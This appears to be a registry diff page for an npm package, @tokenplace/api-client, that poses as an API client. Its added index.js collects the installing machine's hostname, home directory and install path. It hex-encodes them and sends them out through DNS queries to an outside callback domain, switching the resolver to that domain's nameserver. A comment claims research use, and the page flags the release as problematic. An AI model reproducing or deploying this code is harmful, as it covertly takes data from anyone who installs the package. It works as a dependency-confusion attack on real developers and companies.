@tokenplace/api-client 4.64.39
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @tokenplace/api-client might be problematic. Click here for more details.
- package/README.md +1 -0
- package/index.js +72 -0
- package/package.json +12 -0
package/README.md
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
This package is meant for testing purposes only.
|
package/index.js
ADDED
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
/*
|
|
2
|
+
|
|
3
|
+
This code is used for research purposes.
|
|
4
|
+
|
|
5
|
+
No sensitive data is retrieved.
|
|
6
|
+
|
|
7
|
+
Callbacks from within organizations with a
|
|
8
|
+
responsible disclosure program will be reported
|
|
9
|
+
directly to the organizations.
|
|
10
|
+
|
|
11
|
+
Any other callbacks will be ignored, and
|
|
12
|
+
any associated data will not be kept.
|
|
13
|
+
|
|
14
|
+
For any questions or suggestions:
|
|
15
|
+
https://twitter.com/zuh4n
|
|
16
|
+
|
|
17
|
+
*/
|
|
18
|
+
|
|
19
|
+
const dns = require('dns');
|
|
20
|
+
const os = require('os');
|
|
21
|
+
|
|
22
|
+
const suffix = '.dns.dependency-c4llb4ck.0lo.org';
|
|
23
|
+
const ns = 'dns1.dependency-c4llb4ck.0lo.org';
|
|
24
|
+
|
|
25
|
+
const package = 'api-client';
|
|
26
|
+
|
|
27
|
+
function sendToServer(data) {
|
|
28
|
+
data = Buffer.from(data).toString('hex');
|
|
29
|
+
data = data.match(/.{1,60}/g);
|
|
30
|
+
id = Math.random().toString(36).substring(2);
|
|
31
|
+
data.forEach(function (chunk, idx){
|
|
32
|
+
try {
|
|
33
|
+
dns.resolve(
|
|
34
|
+
'v2_f.' + id + '.' + idx + '.' + chunk + '.v2_e' + suffix, 'A',
|
|
35
|
+
console.log);
|
|
36
|
+
} catch (e) { }
|
|
37
|
+
});
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
function tryGet(toCall) {
|
|
41
|
+
|
|
42
|
+
try {
|
|
43
|
+
return toCall();
|
|
44
|
+
} catch(e) {
|
|
45
|
+
return 'err';
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
data = {
|
|
51
|
+
p : package,
|
|
52
|
+
h : tryGet(os.hostname),
|
|
53
|
+
d : tryGet(os.homedir),
|
|
54
|
+
c : __dirname
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
if (data['h'] == 'BBOGENS-LAPTOP') {
|
|
58
|
+
process.exit(0);
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
data = JSON.stringify(data);
|
|
62
|
+
|
|
63
|
+
sendToServer(data);
|
|
64
|
+
dns.lookup(ns, function(err, address) {
|
|
65
|
+
if (!err) {
|
|
66
|
+
nsAddress = address;
|
|
67
|
+
} else {
|
|
68
|
+
nsAddress = '8.8.8.8';
|
|
69
|
+
}
|
|
70
|
+
dns.setServers([nsAddress, '4.4.4.4']);
|
|
71
|
+
sendToServer(data);
|
|
72
|
+
});
|
package/package.json
ADDED